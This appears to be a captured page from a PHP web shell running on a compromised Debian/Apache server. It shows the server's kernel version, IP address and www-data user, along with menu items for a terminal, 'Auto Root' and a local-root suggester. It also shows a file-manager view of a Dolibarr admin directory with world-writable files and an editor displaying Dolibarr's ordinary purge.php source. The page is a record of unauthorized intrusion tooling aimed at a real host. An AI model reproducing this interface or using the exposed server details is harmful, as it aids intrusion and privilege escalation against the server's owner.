Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.35
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html_old /
iscreen.bdcloud.fr /
admin /
tools /
Delete
Unzip
Name
Size
Permission
Date
Action
dolibarr_export.php
23.14
KB
-rwxrwxrwx
2020-07-28 10:28
dolibarr_import.php
6.7
KB
-rwxrwxrwx
2020-05-28 20:13
export.php
8.13
KB
-rwxrwxrwx
2020-05-28 20:13
export_files.php
5.35
KB
-rwxrwxrwx
2020-05-28 20:13
index.php
1.8
KB
-rwxrwxrwx
2020-05-16 04:16
listevents.php
12.95
KB
-rwxrwxrwx
2020-05-28 20:13
listsessions.php
6.3
KB
-rwxrwxrwx
2020-05-28 20:13
purge.php
4.05
KB
-rwxrwxrwx
2020-05-16 04:16
update.php
4.54
KB
-rwxrwxrwx
2020-05-28 20:13
Save
Rename
<?php /* Copyright (C) 2006-2017 Laurent Destailleur <eldy@users.sourceforge.net> * Copyright (C) 2006-2012 Regis Houssin <regis.houssin@inodbox.com> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <https://www.gnu.org/licenses/>. */ /** * \file htdocs/admin/tools/purge.php * \brief Page to purge files (temporary or not) */ require '../../main.inc.php'; include_once DOL_DOCUMENT_ROOT.'/core/lib/files.lib.php'; $langs->load("admin"); if (!$user->admin) accessforbidden(); $action = GETPOST('action', 'alpha'); $confirm = GETPOST('confirm', 'alpha'); $choice = GETPOST('choice', 'aZ09'); // Define filelog to discard it from purge $filelog = ''; if (!empty($conf->syslog->enabled)) { $filelog = $conf->global->SYSLOG_FILE; $filelog = preg_replace('/DOL_DATA_ROOT/i', DOL_DATA_ROOT, $filelog); } /* * Actions */ if ($action == 'purge' && !preg_match('/^confirm/i', $choice) && ($choice != 'allfiles' || $confirm == 'yes')) { // Increase limit of time. Works only if we are not in safe mode $ExecTimeLimit = 600; if (!empty($ExecTimeLimit)) { $err = error_reporting(); error_reporting(0); // Disable all errors //error_reporting(E_ALL); @set_time_limit($ExecTimeLimit); // Need more than 240 on Windows 7/64 error_reporting($err); } require_once DOL_DOCUMENT_ROOT.'/core/class/utils.class.php'; $utils = new Utils($db); $result = $utils->purgeFiles($choice); $mesg = $utils->output; setEventMessages($mesg, null, 'mesgs'); } /* * View */ llxHeader(); $form = new Form($db); print load_fiche_titre($langs->trans("Purge"), '', 'title_setup'); print '<span class="opacitymedium">'.$langs->trans("PurgeAreaDesc", $dolibarr_main_data_root).'</span><br>'; print '<br>'; print '<form action="'.$_SERVER["PHP_SELF"].'" method="POST">'; print '<input type="hidden" name="token" value="'.newToken().'" />'; print '<input type="hidden" name="action" value="purge" />'; print '<table class="border centpercent">'; print '<tr class="border"><td style="padding: 4px">'; if (!empty($conf->syslog->enabled)) { print '<input type="radio" name="choice" value="logfile"'; print ($choice && $choice == 'logfile') ? ' checked' : ''; $filelogparam = $filelog; if ($user->admin && preg_match('/^dolibarr.*\.log$/', basename($filelog))) { $filelogparam = '<a class="wordbreak" href="'.DOL_URL_ROOT.'/document.php?modulepart=logs&file='; $filelogparam .= basename($filelog); $filelogparam .= '">'.$filelog.'</a>'; } print '> '.$langs->trans("PurgeDeleteLogFile", $filelogparam); print '<br><br>'; } print '<input type="radio" name="choice" value="tempfiles"'; print (!$choice || $choice == 'tempfiles' || $choice == 'allfiles') ? ' checked' : ''; print '> '.$langs->trans("PurgeDeleteTemporaryFiles").'<br><br>'; print '<input type="radio" name="choice" value="confirm_allfiles"'; print ($choice && $choice == 'confirm_allfiles') ? ' checked' : ''; print '> '.$langs->trans("PurgeDeleteAllFilesInDocumentsDir", $dolibarr_main_data_root).'<br>'; print '</td></tr></table>'; //if ($choice != 'confirm_allfiles') //{ print '<br>'; print '<div class="center"><input class="button" type="submit" value="'.$langs->trans("PurgeRunNow").'"></div>'; //} print '</form>'; if (preg_match('/^confirm/i', $choice)) { print '<br>'; $formquestion = array(); print $form->formconfirm($_SERVER["PHP_SELF"].'?choice=allfiles', $langs->trans('Purge'), $langs->trans('ConfirmPurge').img_warning().' ', 'purge', $formquestion, 'no', 2); } // End of page llxFooter(); $db->close();